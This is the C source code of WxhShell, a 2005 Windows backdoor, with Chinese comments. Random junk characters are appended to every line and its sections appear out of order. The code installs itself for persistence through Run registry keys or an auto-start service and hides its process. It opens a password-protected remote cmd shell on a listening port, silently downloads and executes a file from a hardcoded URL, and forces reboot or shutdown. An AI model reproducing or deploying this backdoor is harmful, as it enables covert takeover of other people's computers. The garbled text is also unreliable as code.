  case 'd': { [c`u   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?=^~(x?S  
    if(Boot(SHUTDOWN)) %@q/OVnM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 31cC*  
    else { F ]qX}  
    closesocket(wsh); #&$a7L}  
    ExitThread(0); B8G9V6KS-  
    } e6 &-f  
    break;  sJ3O ]  
    } xPcH]Gs^b  
  // 获取shell J$+K't5BZ  
  case 's': { U??T>  
    CmdShell(wsh); ~ZxFL$<'3  
    closesocket(wsh); )8,)&F  
    ExitThread(0); Sd9%tO9mf  
    break; (>)f#t[9J  
  } 7^hwRZJ{  
  // 退出 Y%GIKtP  
  case 'x': { fR^aFT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :nLhg$wMs  
    CloseIt(wsh); Yw!(]8PYdU  
    break; >}I BPC  
    } Ho^rYz  
  // 离开 2a,l;o$2&  
  case 'q': { o6b\ w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  f3E%0cg  
    closesocket(wsh); 3;E,B7,mQ  
    WSACleanup(); fGf C[DuY  
    exit(1); \9Yc2$dY  
    break; GEd JB=  
        } e/J|wM9Ak  
  } x$gVEh*k  
  } |to|kU  
I_aS C4  
  // 提示信息 j34L*?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5 0KB:1(g  
} %=PGvu  
  } f 8AgTw,K8  
-~HyzX\cZB  
  return; bdBFDg  
} F Cp\w1+  
n7$2 1*,  
// shell模块句柄 No(p:Snbo  
int CmdShell(SOCKET sock) :}n\ r/i  
{ 97L|IZ s)  
STARTUPINFO si; O9/7?"l"  
ZeroMemory(&si,sizeof(si)); ]ysEj3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jWE?$r"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }$wWX}@  
PROCESS_INFORMATION ProcessInfo; ==^9_a^  
char cmdline[]="cmd"; +`p@md2L1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rL9u7) x  
  return 0; (Z)F6sZ`8  
} EWZ?q$  
\|wUxijJ*,  
// 自身启动模式 <<iwJ U%:  
int StartFromService(void) x[m&ILr  
{ I}!Er V  
typedef struct E4;@P']`  
{ :,~]R,tJQ  
  DWORD ExitStatus; 7wA.:$  
  DWORD PebBaseAddress; i^I U)\   
  DWORD AffinityMask; fEgwQ-]  
  DWORD BasePriority; c:OFBVZ   
  ULONG UniqueProcessId; cZFG~n/  
  ULONG InheritedFromUniqueProcessId; 2 g`<*u*  
}   PROCESS_BASIC_INFORMATION; Kc,=J?Ob  
i p"LoCE  
PROCNTQSIP NtQueryInformationProcess; yr"BeTrS.  
Q[Xh{B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ !r]**  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1SY`V?cu  
aZBS!X  
  HANDLE             hProcess; n72+X  
  PROCESS_BASIC_INFORMATION pbi; x./l27}6  
`(Eiu$h6V-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {OBV+}#  
  if(NULL == hInst ) return 0; ']'V?@H]4  
$T-Pl57  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9cMQ51k)E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZaKT~f%%z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NAnccB D!{  
%c`P`~sp  
  if (!NtQueryInformationProcess) return 0; 3;t{V$  
'G>gNq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (h $[g"8  
  if(!hProcess) return 0; Z H1UAf  
_f1~r^(/T0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f*tKj.P  
U1,f$McZs  
  CloseHandle(hProcess); ("!P_Q#  
.9'bi#:Cw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L';b908r2  
if(hProcess==NULL) return 0; {<J(*K*\Jo  
UU;U,q  
HMODULE hMod; uNoP8U%*  
char procName[255]; !YZ$WiPl  
unsigned long cbNeeded; WNo",Vc  
L?:fyNA3[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `rQDX<?  
)o[Jxu'  
  CloseHandle(hProcess);  gK Uci  
=e j'5m($3  
if(strstr(procName,"services")) return 1; // 以服务启动 /'<Qk'   
S9@2-Oc  
  return 0; // 注册表启动 6vL+qOdx  
} CG397Y^  
]\ DIJ>JZ  
// 主模块 M>m+VsJV  
int StartWxhshell(LPSTR lpCmdLine) fx#Krr @  
{ R&P}\cf8T  
  SOCKET wsl; 3`%U)gCT5  
BOOL val=TRUE; yG~7Xo5  
  int port=0; wrJ:jTh  
  struct sockaddr_in door; <JkmJ/X  
}u9wD08x  
  if(wscfg.ws_autoins) Install(); 'qt+.vd  
sQ05wAv  
port=atoi(lpCmdLine); .CY;-  
Hi5}s  
if(port<=0) port=wscfg.ws_port; Aav|N3  
-q6d&D'B+  
  WSADATA data; QgB%\mO=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Y| %  
RX6s[uQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x+;"(]#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vOnhJN  
  door.sin_family = AF_INET; *v6 j7<H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r@v_hc  
  door.sin_port = htons(port); YI!@ ,t  
9@{=2 k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c!20(( 2|I  
closesocket(wsl); jDKL}x  
return 1; # qPWJ  
} V 'e _gH  
eJ2$DgB}t  
  if(listen(wsl,2) == INVALID_SOCKET) { Pko2fJt1  
closesocket(wsl); J*}Qnl+  
return 1; ?loP18S b  
} xzrA%1y  
  Wxhshell(wsl); {=A8kgt  
  WSACleanup(); yD\[`!sWk  
VHlo}Ek<#  
return 0; j$Unw  
9d8bh4[  
} T>e4Og"?  
\ W.uV[\  
// 以NT服务方式启动 DuzJQ Sv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y%"73.x  
{ }+3v5Nz;  
DWORD   status = 0; tJgo% P1  
  DWORD   specificError = 0xfffffff; @Q#<-/  
,'>,N/JA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WiBO8N,%`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pjaDtNb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JrhDqyk*  
  serviceStatus.dwWin32ExitCode     = 0; klON6<w  
  serviceStatus.dwServiceSpecificExitCode = 0; %"{jNC?  
  serviceStatus.dwCheckPoint       = 0; }2CVA.Qm!  
  serviceStatus.dwWaitHint       = 0; Th%2pwvER  
OEwKT7CX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q\q8xF~[p  
  if (hServiceStatusHandle==0) return; .*acw  
8&2W^f5  
status = GetLastError(); EKTn$k=  
  if (status!=NO_ERROR) z:a%kZQ!0  
{ XZ1oV?Z4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W:V:Ej7 h  
    serviceStatus.dwCheckPoint       = 0; aW.[3M;?v  
    serviceStatus.dwWaitHint       = 0; O77bm,E  
    serviceStatus.dwWin32ExitCode     = status; -Uu65m~:{k  
    serviceStatus.dwServiceSpecificExitCode = specificError; !GL kAV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n$z+g>~N  
    return; BL?Bl&p(  
  } s4uYp  
>56I`[)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }US^GEs(  
  serviceStatus.dwCheckPoint       = 0; "PhP1;A9,  
  serviceStatus.dwWaitHint       = 0; xfsf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LRa^x44  
} "pLWJvj6-  
)*tV  
// 处理NT服务事件,比如:启动、停止 WD${f#]N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hNWZ1r~_  
{ $V?h68[c  
switch(fdwControl) =MCQNyf+  
{ BGO!c[-  
case SERVICE_CONTROL_STOP: C!%\cy%Xj  
  serviceStatus.dwWin32ExitCode = 0; 20Rj Rd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r'5~4'o$  
  serviceStatus.dwCheckPoint   = 0; ,y%4QvG7a  
  serviceStatus.dwWaitHint     = 0; @}[yC['  
  { R3,O;9i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z#nPn>,q  
  } I C?bqC+  
  return; $-Wn|w+h<a  
case SERVICE_CONTROL_PAUSE: (|kcSnF0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; brXLx +H8  
  break; G+dQ" cI9  
case SERVICE_CONTROL_CONTINUE: ` <3xi9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /yhGc}h  
  break; -<MA\iSP  
case SERVICE_CONTROL_INTERROGATE: QgZ`~  
  break; ljJi|+^$  
}; qY^@^)b[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a"6AZT"8  
} r iuG,$EX  
Utv#E.VI  
// 标准应用程序主函数 [>^xMF]$2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %n7Y5|Uh  
{ 3LK]VuZE  
^xZo .P  
// 获取操作系统版本 T)Ohk(jK1  
OsIsNt=GetOsVer(); |gP9^B?3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hvj1R.I/  
^S]-7>Yyr  
  // 从命令行安装 _pZaVx  
  if(strpbrk(lpCmdLine,"iI")) Install(); vy&< O  
H,I k&{@j  
  // 下载执行文件 czH`a=mjH  
if(wscfg.ws_downexe) { rQ+2 -|#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8;vpa*  
  WinExec(wscfg.ws_filenam,SW_HIDE); o fw0_)!Q  
} U0Q:sA U  
uOU?-WtPz  
if(!OsIsNt) { WhY8#B'?  
// 如果时win9x,隐藏进程并且设置为注册表启动 xP+HdA2X  
HideProc(); |1z?#@BH  
StartWxhshell(lpCmdLine); V < ;vy&&  
} H)u<$y!8  
else Frxim  
  if(StartFromService()) A3jT;D9Y%  
  // 以服务方式启动 D;RZE  
  StartServiceCtrlDispatcher(DispatchTable); .NOh[68'  
else kl&9M!;:n  
  // 普通方式启动 <ic%c/mN  
  StartWxhshell(lpCmdLine); Gs7#W:e7  
Ivdg1X  
return 0; %8N=4vTJ  
} _Vj uQ  
|}YeQl  
2wKW17wj,  
b7nER]R  
=========================================== &F xw19[G  
'c")]{  
iR`c/  
e.<y-b?  
p"lTZ7c:Y  
$: %U`46%s  
" vi :IO  
Ev'Bm Dk  
#include <stdio.h> ,cg%t9  
#include <string.h> CG -^}xE:  
#include <windows.h> dDeImSeV  
#include <winsock2.h> M:*^k  
#include <winsvc.h> t(,_  
#include <urlmon.h> 4PVkKP'/  
vxmz3ht,Q  
#pragma comment (lib, "Ws2_32.lib") hrt ]Qn&  
#pragma comment (lib, "urlmon.lib") Cc7YjsRW  
JC[G5$E  
#define MAX_USER   100 // 最大客户端连接数 K}(0H[P  
#define BUF_SOCK   200 // sock buffer fQtV-\Bc  
#define KEY_BUFF   255 // 输入 buffer -55Pvg0ND  
68pB*(i  
#define REBOOT     0   // 重启 >gqd y*Bg  
#define SHUTDOWN   1   // 关机 %%=PpKYtSD  
AlQE;4yX  
#define DEF_PORT   5000 // 监听端口 >#j f Z5t  
R"0fZENTG  
#define REG_LEN     16   // 注册表键长度 9*"Ae0ok1  
#define SVC_LEN     80   // NT服务名长度 .S{Q }S  
#UO#kC<2(B  
// 从dll定义API Ig*qn# Dd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @fML.AT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8D[,z 7n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n%"0%A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S@N:Cj  
R>05MhA+  
// wxhshell配置信息 qit D{;  
struct WSCFG { y&$mN  
  int ws_port;         // 监听端口 S<+/Ep 2  
  char ws_passstr[REG_LEN]; // 口令 AZi|85rN  
  int ws_autoins;       // 安装标记, 1=yes 0=no >We:g Kxr  
  char ws_regname[REG_LEN]; // 注册表键名 mROXwzL  
  char ws_svcname[REG_LEN]; // 服务名 _Coh11  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~S='~ g)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jw^Pt~@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -wqnmK+G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m3La;%aA0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T==(Pw7R7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5,pKv  
Ai 9UB=[R  
}; 6jGPmOM/  
U6R"eQUTV  
// default Wxhshell configuration D)u 9Y  
struct WSCFG wscfg={DEF_PORT, QnWM<6xK"  
    "xuhuanlingzhe", <`~zKFUQ[  
    1, ]B;\?Tim  
    "Wxhshell", `9+>2*k  
    "Wxhshell", ;T6x$e  
            "WxhShell Service", j#`d%eQ~J  
    "Wrsky Windows CmdShell Service", @L)=epC  
    "Please Input Your Password: ", oZY2K3J)  
  1, 0^27grU>   
  "http://www.wrsky.com/wxhshell.exe", Ot]Y/;K  
  "Wxhshell.exe" 2I 2#o9(Ar  
    }; j\ dY  
,s?7EHtC  
// 消息定义模块 |] <eJ|\=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 41d,<E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c]y"5;V8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {u1Rc/Lw  
char *msg_ws_ext="\n\rExit."; 6__#n`  
char *msg_ws_end="\n\rQuit."; T2nbU6H  
char *msg_ws_boot="\n\rReboot..."; GCf3'u  
char *msg_ws_poff="\n\rShutdown..."; t:|+U:! >  
char *msg_ws_down="\n\rSave to "; s?.A $^t  
b`4R`mo  
char *msg_ws_err="\n\rErr!"; X C jYm  
char *msg_ws_ok="\n\rOK!"; 2(, `9  
E%f;Z7G  
char ExeFile[MAX_PATH]; | Q Y_ci  
int nUser = 0; 3M nm2*\  
HANDLE handles[MAX_USER]; k#4%d1O}  
int OsIsNt; Q}?yj,D D  
:oH~{EQ  
SERVICE_STATUS       serviceStatus; .Q,IOCHk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (ei;Y~i  
Ew4>+o!  
// 函数声明 Dn 6k,nVh  
int Install(void); `o9vE0^T<  
int Uninstall(void); W.xlS ZEB  
int DownloadFile(char *sURL, SOCKET wsh); p8>.Q/4  
int Boot(int flag); ?D].Za^km  
void HideProc(void); Pgy&/-u  
int GetOsVer(void); MZ(TST"  
int Wxhshell(SOCKET wsl); q+MV@8w  
void TalkWithClient(void *cs);  M>mk=-l  
int CmdShell(SOCKET sock); 'wo[iNy[  
int StartFromService(void); b9ON[qOMN  
int StartWxhshell(LPSTR lpCmdLine); {\OIowa  
Jl"),;Od  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); blwdcdh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o8:K6y  
e7{n=M  
// 数据结构和表定义 =sqh PS<>  
SERVICE_TABLE_ENTRY DispatchTable[] = iK*2 Z$`lw  
{ v;E7UL .w  
{wscfg.ws_svcname, NTServiceMain}, 6\MJvg\;  
{NULL, NULL} 3~e"CKD>  
}; "d a%@Zy  
`ym@ U(;N  
// 自我安装 H!F Cerg  
int Install(void) p< fKj  
{ _)J;PbK~  
  char svExeFile[MAX_PATH]; +F &,,s"&  
  HKEY key; >uok\sX  
  strcpy(svExeFile,ExeFile); @#T*OH  
dQ=mg#(  
// 如果是win9x系统,修改注册表设为自启动 k)W8%=R  
if(!OsIsNt) { BReNhk)S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f6 zT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6]i"lqb  
  RegCloseKey(key); D t~Jx\\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gI&& LwT4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &%~2Wm  
  RegCloseKey(key); Kilq Jg1%C  
  return 0; Lm kv .XF  
    } RVFQ!0 C  
  } `laaT5G\y  
} <a-I-~  
else { or_x0Q  
XE_|H1&j  
// 如果是NT以上系统,安装为系统服务 tHSe>*eC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [)}F4Jsz%  
if (schSCManager!=0) `;7^@k  
{ (C#9/WO?  
  SC_HANDLE schService = CreateService f>)k<-<yj  
  ( &zsaVm8  
  schSCManager, u>Z0ug6x  
  wscfg.ws_svcname, 3K2`1+kBVG  
  wscfg.ws_svcdisp, fF208A7U I  
  SERVICE_ALL_ACCESS, J4qFU^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tT}*%A  
  SERVICE_AUTO_START, PaF`dnJ  
  SERVICE_ERROR_NORMAL, =T)4Oziks  
  svExeFile, huu:z3{=J  
  NULL, !>B|z=  
  NULL, *0)vsBi  
  NULL, _ x&Y'X|  
  NULL, \ajy%$;$}  
  NULL ^Bw2y&nN  
  ); 8\m_.e  
  if (schService!=0) d `LBFH,  
  { ]KfjZ!Qh  
  CloseServiceHandle(schService);  ?[Od.  
  CloseServiceHandle(schSCManager); UQ#"^`=R<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ql5NSQ>{  
  strcat(svExeFile,wscfg.ws_svcname); "d'D:>z]%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u8pJjn;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D 8^wR{-;J  
  RegCloseKey(key); G>{Bij44  
  return 0; xU#f>@v!  
    } 7/lXy3B4  
  } T:aYv;#0  
  CloseServiceHandle(schSCManager); ~6`HJ  
} !Q!= =*1H  
} -QL_a8NL  
{D1"bDZ  
return 1;  4l+"J:,  
} `_C4L=q"  
5v4 ,YHD  
// 自我卸载 m72r6Yq2@  
int Uninstall(void) K_ P08  
{ T]\_[e:'  
  HKEY key; K1Ms  
WpE\N0Yg  
if(!OsIsNt) { (J8 (_MF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tj}H3/2  
  RegDeleteValue(key,wscfg.ws_regname); PSz|I8 c  
  RegCloseKey(key); fOEw]B#@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dieGLA<5_X  
  RegDeleteValue(key,wscfg.ws_regname); M XsSF|-  
  RegCloseKey(key); N;e d_!  
  return 0; t W ;1  
  } M=hxOta  
} H%`Ja('"p  
} ;^nN!KDjR  
else { He att?(RR  
M<oIo 036  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~G.'pyW  
if (schSCManager!=0) ohqi4Y!j/~  
{ '`Eb].s*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X(Gp3lG  
  if (schService!=0) '+LbFGrO3  
  {  L5/J  
  if(DeleteService(schService)!=0) { pIBL85Xe  
  CloseServiceHandle(schService); F)'kN2  
  CloseServiceHandle(schSCManager); .6Tan2[%  
  return 0; XVcY?_AS#  
  } (LzVWz m  
  CloseServiceHandle(schService); 4{JoeIRyz  
  } :/ ,h)h)|  
  CloseServiceHandle(schSCManager); zKB$n.H  
} 2TB>d+  
} ssGp:{]v/  
$d 2mcwh\  
return 1; 1+|s   
} t'Zq>y;yg  
 nen(  
// 从指定url下载文件 +6tj w 6  
int DownloadFile(char *sURL, SOCKET wsh) ^6R?UG;6  
{ ?-w<H!Y7  
  HRESULT hr; UfcQFT{()  
char seps[]= "/"; 0Z9>%\km_  
char *token; 3oX\q/$  
char *file; NuZiLtC  
char myURL[MAX_PATH]; H&`0I$8m  
char myFILE[MAX_PATH]; fz'@ON  
%O] ]La  
strcpy(myURL,sURL); 53efF bo  
  token=strtok(myURL,seps); #!="b8F  
  while(token!=NULL) ]t$wK  
  { ]E/^(T-O  
    file=token; Lky<L96  
  token=strtok(NULL,seps); ~>v v9-_  
  } pRyePxCDj)  
$m{-I=  
GetCurrentDirectory(MAX_PATH,myFILE); UXpF$=  
strcat(myFILE, "\\"); }pqnF53  
strcat(myFILE, file); ?:DeOBAb  
  send(wsh,myFILE,strlen(myFILE),0); 2wR?ON=Q  
send(wsh,"...",3,0); BZHba8c(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )5n*4A  
  if(hr==S_OK) V0 70oZ  
return 0; BN??3F8C  
else s6=jHrdvv  
return 1; GH ] c  
[t #xX59  
} 8NCu;s  
66ULR&D8  
// 系统电源模块 PM ]|S`  
int Boot(int flag) WbF[4 x  
{ 6! `^}4  
  HANDLE hToken; *K}h >b 1  
  TOKEN_PRIVILEGES tkp; Egy#_ RT{  
.d mUh-  
  if(OsIsNt) { o@T-kAEf-.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xZbiEDU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @`"U D  
    tkp.PrivilegeCount = 1; a}(xZ\n^D;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cV8Bl="gqe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O^/z7,  
if(flag==REBOOT) { %DOV)Qc2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rjk{9u1a"  
  return 0; u*n%cXY;J/  
} ;5S'?fj  
else { $W}YXLFj?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BF)!VnJ  
  return 0; VY9o}J>,w  
} #Y|t,x;  
  } Z'hHXSXM  
  else { !q]@/<=  
if(flag==REBOOT) { {,;R\)8D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Kg-ZDK8  
  return 0; p;nRxi7'  
} nulLK28q  
else { 3 UXaA;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \\U,|}L .  
  return 0; faTp|T`nY  
} Tj(DdR#w  
} _z6_mmMp  
( AI gW  
return 1; c+a"sx\  
} yyZs[5Q  
#/"?.Z;SSH  
// win9x进程隐藏模块 )h0 3sv  
void HideProc(void) B7QuSo//  
{ {pJf ~  
|f+`FOliP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /+ yIcE(&3  
  if ( hKernel != NULL ) czG]rl\1  
  { *3R3C+ L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OV>JmYe1{/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;*+wg5|  
    FreeLibrary(hKernel); ^uCZO  
  } -d+o\qp"#  
d U}kimz  
return; I9VU,8~  
} TmEJ!)*  
DH IC:6EY  
// 获取操作系统版本 G*N}X3H:o  
int GetOsVer(void) eN,6p '&  
{ Ns2<wl-  
  OSVERSIONINFO winfo; %+8" -u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cPp<+ ts  
  GetVersionEx(&winfo); z79c30y]"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +H**VdM6s  
  return 1; %3kS;AaA  
  else Y[~Dj@Q<  
  return 0; zm~sq_=^  
} |#i|BVnoE  
z%lLbKSe  
// 客户端句柄模块 fVvB8[(;~  
int Wxhshell(SOCKET wsl) +{b3A@f|F  
{ )&px[Dbx  
  SOCKET wsh; d_] sV4[  
  struct sockaddr_in client; YJm64H,[  
  DWORD myID; !5^&?plC@  
4N K{RN3  
  while(nUser<MAX_USER) ]8o[&50y  
{ \c(Z?`p]R1  
  int nSize=sizeof(client); qGkD] L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U32&"&";c  
  if(wsh==INVALID_SOCKET) return 1; wSPwa,)7s  
Of gmJ(%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x\K9|_!  
if(handles[nUser]==0) . UaLP  
  closesocket(wsh); '_fj:dy  
else a<CJ#B2K  
  nUser++; NK!#K>AO  
  } /6@$^paB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H"b}lf  
s`dwE*~  
  return 0; 9D`p2cO  
} YZ(tjIgQ  
aH'=k?Of;  
// 关闭 socket 8#h~J>u.  
void CloseIt(SOCKET wsh) HceZTe@  
{ Vjqs\  
closesocket(wsh); |T+YC[T#v  
nUser--; CFW#+U#U  
ExitThread(0); fN_Ilg)t?5  
} ozUsp[W>  
f=cj5T:[  
// 客户端请求句柄 @.8FVF  
void TalkWithClient(void *cs) `gE_u  
{ kP[LS1}*  
_xu_W;nh  
  SOCKET wsh=(SOCKET)cs; 2]'cj  
  char pwd[SVC_LEN]; +Ua.\1"6  
  char cmd[KEY_BUFF]; dw YGhhm  
char chr[1]; a0)]W%F  
int i,j; LB\+*P6QM  
;=lQMKx0  
  while (nUser < MAX_USER) { @!KG;d:l  
I4Rd2G_  
if(wscfg.ws_passstr) { Wagb|B\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /I~(*X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $,8}3R5}  
  //ZeroMemory(pwd,KEY_BUFF); J/>9w  
      i=0; "NvB@>S  
  while(i<SVC_LEN) { HLb`'TC3r+  
|_u|Td(n  
  // 设置超时 m ?#WQf  
  fd_set FdRead; KYM%U" jD  
  struct timeval TimeOut; A|<i7QVY  
  FD_ZERO(&FdRead); /#Lm)-%G  
  FD_SET(wsh,&FdRead); a_(fqoW  
  TimeOut.tv_sec=8; ^X| Bzz)  
  TimeOut.tv_usec=0; &'"dYZj{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $TY 1'#1U;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PL*1-t?#  
i:n1Di1~E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I*EHZctH  
  pwd=chr[0]; |'!9mvt=  
  if(chr[0]==0xd || chr[0]==0xa) { P*g:rg  
  pwd=0; cNG`-+U'  
  break; /|WBk}  
  } !f01.Tq8  
  i++; +z O.|`+  
    } |wkUnn4UB8  
a~w l D.P  
  // 如果是非法用户,关闭 socket 0NMmN_Lr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]EfM;'j[  
} ,r,$x4*  
;dqu ld+q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }~!KjFbs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k.?@qCs[  
qt=nN-AC(  
while(1) { OR<%h/ \f  
i/j eb*d0  
  ZeroMemory(cmd,KEY_BUFF); Jk_ }y  
.2x`Fj;o1  
      // 自动支持客户端 telnet标准   5 NN`tv  
  j=0; k{E!X  
  while(j<KEY_BUFF) { DgGG*OXY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EeDK ^W8N  
  cmd[j]=chr[0]; gT#hF]c:  
  if(chr[0]==0xa || chr[0]==0xd) { _Eus7  
  cmd[j]=0; OY,iz  
  break; d_)VeuE2  
  } =@s{H +  
  j++; DpvMY94Qh  
    } %3es+A@  
J?oEzf;M  
  // 下载文件 8Uoqj=5F  
  if(strstr(cmd,"http://")) { 3}nkTZG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dH~i  
  if(DownloadFile(cmd,wsh)) W3y9>]{x^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [_1K1i"m  
  else  li  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Oe"s_O#  
